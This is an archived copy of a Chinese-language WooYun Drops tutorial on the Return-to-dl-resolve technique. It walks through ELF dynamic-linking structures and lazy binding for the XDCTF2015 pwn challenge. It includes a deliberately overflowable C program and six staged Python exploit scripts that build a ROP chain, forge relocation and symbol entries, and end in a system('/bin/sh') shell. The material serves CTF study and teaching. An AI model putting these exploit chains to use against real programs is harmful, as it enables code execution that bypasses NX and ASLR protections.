
        <html>
			<head>
			     <title>通过ELF动态装载构造ROP链 （ Return-to-dl-resolve） - Bigtang</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/binary/14360">http://drops.wooyun.org/binary/14360</a></h1>
				
      <p>
        <h1>0x00 前言</h1>

<hr />

<p>玩CTF的赛棍都知道，PWN类型的漏洞题目一般会提供一个可执行程序，同时会提供程序运行动态链接的libc库。通过libc.so可以得到库函数的偏移地址，再结合泄露GOT表中libc函数的地址，计算出进程中实际函数的地址，以绕过ASLR。这种手法叫return-to-libc。本文将介绍一种不依赖libc的手法。</p>

<p>以XDCTF2015-EXPLOIT2为例，这题当时是只给了可执行文件的。出这题的初衷就是想通过Return-to-dl-resolve的手法绕过NX和ASLR的限制。本文将详细介绍一下该手法的利用过程。</p>

<!--more-->

<p>这里构造一个存在栈缓冲区溢出漏洞的程序，以方便后续我们构造ROP链。</p>

<pre><code>#!cpp
#include &lt;unistd.h&gt;
#include &lt;stdio.h&gt;
#include &lt;string.h&gt;

void vuln()
{
    char buf[100];
    setbuf(stdin,buf);
    read(0,buf,256); // Buffer OverFlow
}

int main()
{
    char buf[100] = "Welcome to XDCTF2015~!\n";

    setbuf(stdout,buf);
    write(1,buf,strlen(buf));

    vuln();

    return 0;
}
</code></pre>

<h1>0x01 准备知识</h1>

<hr />

<h3>相关结构</h3>

<p>ELF可执行文件由ELF头部，程序头部表和其对应的段，节区头部表和其对应的节组成。如果一个可执行文件参与动态链接，它的程序头部表将包含类型为 <code>PT_DYNAMIC</code> 的段，它包含<code>.dynamic</code> 节区。结构如图，</p>

<pre><code>#!c
typedef struct {
    Elf32_Sword d_tag;
    union {
        Elf32_Word  d_val;
        Elf32_Addr  d_ptr;
    } d_un;
} Elf32_Dyn;
</code></pre>

<p>其中Tag对应着每个节区。比如<code>JMPREL</code>对应着<code>.rel.plt</code></p>

<p><img src="http://static.wooyun.org//drops/20160406/2016040615082885114118.png" alt="Alt text" /></p>

<p>节区中包含目标文件的所有信息。节的结构如图。</p>

<pre><code>#!c
typedef struct{
    Elf32_Word sh_name;        // 节区头部字符串表节区的索引
    Elf32_Word sh_type;        // 节区类型
    Elf32_Word sh_flags;       // 节区标志，用于描述属性
    Elf32_Addr sh_addr;        // 节区的内存映像
    Elf32_Off  sh_offset;      // 节区的文件偏移
    Elf32_Word sh_size;        // 节区的长度
    Elf32_Word sh_link;        // 节区头部表索引链接
    Elf32_Word sh_info;        // 附加信息
    Elf32_Word sh_addralign;   // 节区对齐约束
    Elf32_Word sh_entsize;     // 固定大小的节区表项的长度
}Elf32_Shdr;
</code></pre>

<p>如图，列出了该文件的28个节区。其中类型为REL的节区包含重定位表项。</p>

<p><img src="http://static.wooyun.org//drops/20160406/2016040615083112382215.png" alt="Alt text" /></p>

<p>（1） 其中<code>.rel.plt</code>节是用于函数重定位，<code>.rel.dyn</code>节是用于变量重定位</p>

<pre><code>#!c
typedef struct {
    Elf32_Addr r_offset;    // 对于可执行文件，此值为虚拟地址
    Elf32_Word r_info;      // 符号表索引
} Elf32_Rel;
#define ELF32_R_SYM(i) ((i)&gt;&gt;8)
#define ELF32_R_TYPE(i) ((unsigned char)(i))
#define ELF32_R_INFO(s, t) (((s)&lt;&lt;8) + (unsigned char)(t))
</code></pre>

<p>如图，在<code>.rel.plt</code>中列出了链接的C库函数，以下均已<code>write</code>函数为例，<code>write</code>函数的<code>r_offset=0x804a010</code>,<code>r_info=0x507</code></p>

<p><img src="http://static.wooyun.org//drops/20160406/2016040615083234564313.png" alt="Alt text" /></p>

<p>（2） 其中<code>.got</code>节保存全局变量偏移表，<code>.got.plt</code>节存储着全局函数偏离表。<code>.got.plt</code>对应着<code>Elf32_Rel</code>结构中<code>r_offset</code>的值。如图，<code>write</code>函数在GOT表中位于<code>0x804a010</code></p>

<p><img src="http://static.wooyun.org//drops/20160406/2016040615083441593413.png" alt="Alt text" /></p>

<p>（3）其中<code>.dynsym</code>节区包含了动态链接符号表。其中，<code>Elf32_Sym[num]</code>中的<code>num</code>对应着<code>ELF32_R_SYM(Elf32_Rel-&gt;r_info)</code>。根据定义，<code>ELF32_R_SYM(Elf32_Rel-&gt;r_info) = (Elf32_Rel-&gt;r_info)&gt;&gt;8</code>。</p>

<pre><code>#!c
typedef struct
{
    Elf32_Word    st_name;   /* Symbol name (string tbl index) */
    Elf32_Addr    st_value;  /* Symbol value */
    Elf32_Word    st_size;   /* Symbol size */
    unsigned char st_info;   /* Symbol type and binding */
    unsigned char st_other;  /* Symbol visibility under glibc&gt;=2.2 */
    Elf32_Section st_shndx;  /* Section index */
} Elf32_Sym;
</code></pre>

<p>如图，<code>write</code>的索引值为<code>ELF32_R_SYM(0x507) = 0x507 &gt;&gt; 8 = 5</code>。而<code>Elf32_Sym[5]</code>即保存着<code>write</code>的符号表信息。并且<code>ELF32_R_TYPE(0x507) = 7</code>,对应<code>R_386_JUMP_SLOT</code></p>

<p><img src="http://static.wooyun.org//drops/20160406/201604061508364388856.png" alt="Alt text" /></p>

<p>（4）其中<code>.dynstr</code>节包含了动态链接的字符串。这个节区以<code>\x00</code>作为开始和结尾，中间每个字符串也以<code>\x00</code>间隔。如图，<code>Elf32_Sym[5]-&gt;st_name = 0x54</code>,所以<code>.dynstr</code>加上<code>0x54</code>的偏移量，就是字符串<code>write</code></p>

<p><img src="http://static.wooyun.org//drops/20160406/201604061508375984666.png" alt="Alt text" /></p>

<p>（5）其中<code>.plt</code>节是过程链接表。过程链接表把位置独立的函数调用重定向到绝对位置。如图，当程序执行<code>call <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="4e393c273a2b0e3e223a">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script></code>时，实际会跳到<code>0x80483c0</code>去执行。</p>

<p><img src="http://static.wooyun.org//drops/20160406/201604061508391772976.png" alt="Alt text" /></p>

<h3>延迟绑定</h3>

<p>程序在执行的过程中，可能引入的有些C库函数到结束时都不会执行。所以ELF采用延迟绑定的技术，在第一次调用C库函数是时才会去寻找真正的位置进行绑定。</p>

<p>具体来说，在前一部分我们已经知道，当程序执行<code>call <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="4730352e332207372b33">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script></code>时，实际会跳到<code>0x80483c0</code>去执行。而<code>0x80483c0</code>处的汇编代码仅仅三行。我们来看一下这三行代码做了什么。</p>

<p><img src="http://static.wooyun.org//drops/20160406/201604061508391772976.png" alt="Alt text" /></p>

<p>第一行，上一部分也提到了<code>0x804a010</code>是<code>write</code>的GOT表位置，当我们第一次调用<code>write</code>时，其对应的GOT表里并没有存放<code>write</code>的真实地址，而是下一条指令的地址。第二、三行，把<code>reloc_arg=0x20</code>作为参数推入栈中，跳到<code>0x8048370</code>继续执行。</p>

<p><img src="http://static.wooyun.org//drops/20160406/201604061508409576685.png" alt="Alt text" /></p>

<p><code>0x8048370</code>再把<code>link_map = *(GOT+4)</code>作为参数推入栈中，而<code>*(GOT+8)</code>中保存的是<code>_dl_runtime_resolve</code>函数的地址。因此以上指令相当于执行了<code>_dl_runtime_resolve(link_map, reloc_arg)</code>，该函数会完成符号的解析，即将真实的<code>write</code>函数地址写入其<code>GOT</code>条目中，随后把控制权交给<code>write</code>函数。</p>

<p><img src="http://static.wooyun.org//drops/20160406/201604061508426297796.png" alt="Alt text" /></p>

<p>其中<code>_dl_runtime_resolve</code>是在<code>glibc-2.22/sysdeps/i386/dl-trampoline.S</code>中用汇编实现的。<code>0xf7ff04fb</code>处即调用<code>_dl_fixup</code>，并且通过寄存器传参。</p>

<p><img src="http://static.wooyun.org//drops/20160406/2016040615084353181105.png" alt="Alt text" /></p>

<p>其中<code>_dl_fixup</code>是在<code>glibc-2.22/elf/dl-runtime.c</code>实现的，我们只关注一些主要函数。</p>

<pre><code>#!c
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
</code></pre>

<p>首先通过参数<code>reloc_arg</code>计算重定位入口，这里的<code>JMPREL</code>即<code>.rel.plt</code>，<code>reloc_offset</code>即<code>reloc_arg</code>。</p>

<pre><code>#!c
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
</code></pre>

<p>然后通过<code>reloc-&gt;r_info</code>找到<code>.dynsym</code>中对应的条目。</p>

<pre><code>#!c
const ElfW(Sym) *sym = &amp;symtab[ELFW(R_SYM) (reloc-&gt;r_info)];
</code></pre>

<p>这里还会检查<code>reloc-&gt;r_info</code>的最低位是不是<code>R_386_JUMP_SLOT=7</code></p>

<pre><code>#!c
assert (ELFW(R_TYPE)(reloc-&gt;r_info) == ELF_MACHINE_JMP_SLOT);
</code></pre>

<p>接着通过<code>strtab + sym-&gt;st_name</code>找到符号表字符串，<code>result</code>为libc基地址</p>

<pre><code>#!c
result = _dl_lookup_symbol_x (strtab + sym-&gt;st_name, l, &amp;sym, l-&gt;l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL);
</code></pre>

<p><code>value</code>为libc基址加上要解析函数的偏移地址，也即实际地址。</p>

<pre><code>#!c
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym-&gt;st_value) : 0);
</code></pre>

<p>最后把<code>value</code>写入相应的GOT表条目中</p>

<pre><code>#!c
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
</code></pre>

<h3>漏洞利用方式</h3>

<ol>
<li>控制EIP为PLT[0]的地址，只需传递一个<code>index_arg</code>参数</li>
<li>控制<code>index_arg</code>的大小，使<code>reloc</code>的位置落在可控地址内</li>
<li>伪造<code>reloc</code>的内容，使<code>sym</code>落在可控地址内</li>
<li>伪造<code>sym</code>的内容，使<code>name</code>落在可控地址内</li>
<li>伪造<code>name</code>为任意库函数，如<code>system</code></li>
</ol>

<h3>控制EIP</h3>

<p>首先确认一下进程当前开了哪些保护</p>

<p><img src="http://static.wooyun.org//drops/20160406/2016040615084572034119.png" alt="Alt text" /></p>

<p>由于程序存在栈缓冲区漏洞，我们可以用PEDA很快定位覆写EIP的位置。</p>

<p><img src="http://static.wooyun.org//drops/20160406/2016040615084617720125.png" alt="Alt text" /></p>

<p><strong>stage1</strong></p>

<p>我们先写一个ROP链，直接返回到<code><a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="c0b7b2a9b4a580b0acb4">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script></code></p>

<pre><code>#!python
from zio import *

offset = 112

addr_plt_read  = 0x08048390   # objdump -d -j.plt bof | grep "read"
addr_plt_write = 0x080483c0   # objdump -d -j.plt bof | grep "write"

#./rp-lin-x86  --file=bof --rop=3 --unique &gt; gadgets.txt
pppop_ret = 0x0804856c
pop_ebp_ret   =  0x08048453
leave_ret = 0x08048481

stack_size = 0x800
addr_bss   = 0x0804a020   # readelf -S bof | grep ".bss"
base_stage = addr_bss + stack_size

target = "./bof"
io   = zio((target))

io.read_until('Welcome to XDCTF2015~!\n')
# io.gdb_hint([0x80484bd])

buf1  = 'A' * offset
buf1 += l32(addr_plt_read)
buf1 += l32(pppop_ret)
buf1 += l32(0)
buf1 += l32(base_stage)
buf1 += l32(100)
buf1 += l32(pop_ebp_ret)
buf1 += l32(base_stage)
buf1 += l32(leave_ret)
io.writeline(buf1)

cmd = "/bin/sh"

buf2 = 'AAAA'
buf2 += l32(addr_plt_write)
buf2 += 'AAAA'
buf2 += l32(1)
buf2 += l32(base_stage+80)
buf2 += l32(len(cmd))
buf2 += 'A' * (80-len(buf2))
buf2 += cmd + '\x00'
buf2 += 'A' * (100-len(buf2))
io.writeline(buf2)
io.interact()
</code></pre>

<p>最后会把我们输入的<code>cmd</code>打印出来</p>

<p><img src="http://static.wooyun.org//drops/20160406/2016040615084827708134.png" alt="Alt text" /></p>

<p><strong>stage2</strong></p>

<p>这次我们控制EIP返回到<code>PLT0</code>，要带上<code>index_offset</code>。这里我们修改一下<code>buf2</code></p>

<pre><code>#!python
...
cmd = "/bin/sh"
addr_plt_start = 0x8048370 # objdump -d -j.plt bof
index_offset   = 0x20

buf2 = 'AAAA'
buf2 += l32(addr_plt_start)
buf2 += l32(index_offset)
buf2 += 'AAAA'
buf2 += l32(1)
buf2 += l32(base_stage+80)
buf2 += l32(len(cmd))
buf2 += 'A' * (80-len(buf2))
buf2 += cmd + '\x00'
buf2 += 'A' * (100-len(buf2))
io.writeline(buf2)
io.interact()
</code></pre>

<p>同样会把我们输入的<code>cmd</code>打印出来</p>

<p><img src="http://static.wooyun.org//drops/20160406/2016040615085022098144.png" alt="Alt text" /></p>

<p><strong>stage3</strong></p>

<p>这一次我们控制<code>index_offset</code>，使其指向我们伪造的<code>fake_reloc</code></p>

<pre><code>#!python
...
cmd = "/bin/sh"
addr_plt_start = 0x8048370 # objdump -d -j.plt bof
addr_rel_plt   = 0x8048318 # objdump -s -j.rel.plt a.out
index_offset   = (base_stage + 28) - addr_rel_plt
addr_got_write = 0x804a020
r_info         = 0x507
fake_reloc     = l32(addr_got_write) + l32(r_info)

buf2 = 'AAAA'
buf2 += l32(addr_plt_start)
buf2 += l32(index_offset)
buf2 += 'AAAA'
buf2 += l32(1)
buf2 += l32(base_stage+80)
buf2 += l32(len(cmd))
buf2 += fake_reloc
buf2 += 'A' * (80-len(buf2))
buf2 += cmd + '\x00'
buf2 += 'A' * (100-len(buf2))
io.writeline(buf2)
io.interact()
</code></pre>

<p>同样会把我们输入的<code>cmd</code>打印出来</p>

<p><img src="http://static.wooyun.org//drops/20160406/2016040615085184497153.png" alt="Alt text" /></p>

<p><strong>stage4</strong></p>

<p>这一次我们伪造<code>fake_sym</code>，使其指向我们控制的<code>st_name</code></p>

<pre><code>#!python
cmd = "/bin/sh"
addr_plt_start = 0x8048370 # objdump -d -j.plt bof
addr_rel_plt   = 0x8048318 # objdump -s -j.rel.plt a.out
index_offset   = (base_stage + 28) - addr_rel_plt
addr_got_write = 0x804a020
addr_dynsym    = 0x080481d8
addr_dynstr    = 0x08048268
fake_sym       = base_stage + 36
align          = 0x10 - ((fake_sym - addr_dynsym) &amp; 0xf)
fake_sym       = fake_sym + align
index_dynsym   = (fake_sym - addr_dynsym) / 0x10
r_info         = (index_dynsym &lt;&lt; 8 ) | 0x7
fake_reloc     = l32(addr_got_write) + l32(r_info)
st_name        = 0x54
fake_sym       = l32(st_name) + l32(0) + l32(0) + l32(0x12)

buf2 = 'AAAA'
buf2 += l32(addr_plt_start)
buf2 += l32(index_offset)
buf2 += 'AAAA'
buf2 += l32(1)
buf2 += l32(base_stage+80)
buf2 += l32(len(cmd))
buf2 += fake_reloc
buf2 += 'B' * align
buf2 += fake_sym 
buf2 += 'A' * (80-len(buf2))
buf2 += cmd + '\x00'
buf2 += 'A' * (100-len(buf2))
io.writeline(buf2)
io.interact()
</code></pre>

<p>同样会把我们输入的<code>cmd</code>打印出来</p>

<p><img src="http://static.wooyun.org//drops/20160406/2016040615085329779163.png" alt="Alt text" /></p>

<p><strong>stage5</strong></p>

<p>这次把<code>st_name</code>指向我们伪造的字符串<code>write</code></p>

<pre><code>#!python
...
cmd = "/bin/sh"
addr_plt_start = 0x8048370 # objdump -d -j.plt bof
addr_rel_plt   = 0x8048318 # objdump -s -j.rel.plt a.out
index_offset   = (base_stage + 28) - addr_rel_plt
addr_got_write = 0x804a020
addr_dynsym    = 0x080481d8
addr_dynstr    = 0x08048268
addr_fake_sym  = base_stage + 36
align          = 0x10 - ((addr_fake_sym - addr_dynsym) &amp; 0xf)
addr_fake_sym  = addr_fake_sym + align
index_dynsym   = (addr_fake_sym - addr_dynsym) / 0x10
r_info         = (index_dynsym &lt;&lt; 8 ) | 0x7
fake_reloc     = l32(addr_got_write) + l32(r_info)
st_name        = (addr_fake_sym + 16) - addr_dynstr
fake_sym       = l32(st_name) + l32(0) + l32(0) + l32(0x12)

buf2 = 'AAAA'
buf2 += l32(addr_plt_start)
buf2 += l32(index_offset)
buf2 += 'AAAA'
buf2 += l32(1)
buf2 += l32(base_stage+80)
buf2 += l32(len(cmd))
buf2 += fake_reloc
buf2 += 'B' * align
buf2 += fake_sym
buf2 += "write\x00"
buf2 += 'A' * (80-len(buf2))
buf2 += cmd + '\x00'
buf2 += 'A' * (100-len(buf2))
io.writeline(buf2)
io.interact()
</code></pre>

<p>同样会把我们输入的<code>cmd</code>打印出来</p>

<p><img src="http://static.wooyun.org//drops/20160406/2016040615085489448173.png" alt="Alt text" /></p>

<p><strong>stage6</strong></p>

<p>替换<code>write</code>为<code>system</code>,并修改<code>system</code>的参数</p>

<pre><code>#!python
...
cmd = "/bin/sh"
addr_plt_start = 0x8048370 # objdump -d -j.plt bof
addr_rel_plt   = 0x8048318 # objdump -s -j.rel.plt a.out
index_offset   = (base_stage + 28) - addr_rel_plt
addr_got_write = 0x804a020
addr_dynsym    = 0x080481d8
addr_dynstr    = 0x08048268
addr_fake_sym  = base_stage + 36
align          = 0x10 - ((addr_fake_sym - addr_dynsym) &amp; 0xf)
addr_fake_sym  = addr_fake_sym + align
index_dynsym   = (addr_fake_sym - addr_dynsym) / 0x10
r_info         = (index_dynsym &lt;&lt; 8 ) | 0x7
fake_reloc     = l32(addr_got_write) + l32(r_info)
st_name        = (addr_fake_sym + 16) - addr_dynstr
fake_sym       = l32(st_name) + l32(0) + l32(0) + l32(0x12)

buf2 = 'AAAA'
buf2 += l32(addr_plt_start)
buf2 += l32(index_offset)
buf2 += 'AAAA'
buf2 += l32(base_stage+80)
buf2 += 'aaaa'
buf2 += 'aaaa'
buf2 += fake_reloc
buf2 += 'B' * align
buf2 += fake_sym
buf2 += "system\x00"
buf2 += 'A' * (80-len(buf2))
buf2 += cmd + '\x00'
buf2 += 'A' * (100-len(buf2))
io.writeline(buf2)
io.interact()
</code></pre>

<p>得到一个<code>shell</code></p>

<p><img src="http://static.wooyun.org//drops/20160406/2016040615085531871183.png" alt="Alt text" /></p>

<h3>WTF</h3>

<p>以上只是叙述原理，当然你比较懒的话，这里已经有成熟的工具辅助编写利用脚本<a href="https://github.com/inaz2/roputils/blob/master/examples/dl-resolve-i386.py">roputils</a></p>

<h1>0x02 参考</h1>

<hr />

<ol>
<li><a href="https://sourceware.org/git/?p=glibc.git;a=blob_plain;f=elf/elf.h">ELF文件格式</a></li>
<li><a href="http://www.xfocus.net/articles/200201/337.html">ELF动态解析符号过程</a></li>
<li><a href="http://angelboy.logdown.com/posts/283218-return-to-dl-resolve">Return to dl-resolve</a></li>
<li><a href="http://inaz2.hatenablog.com/entry/2014/07/15/023406">ROP stager + Return-to-dl-resolveによるASLR+DEP回避</a></li>
<li><a href="http://rk700.github.io/article/2015/08/09/return-to-dl-resolve">Return to dl-resolve</a></li>
<li><a href="http://www.inforsec.org/wp/?p=389">通过ELF动态装载机制进行漏洞利用</a></li>
</ol>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      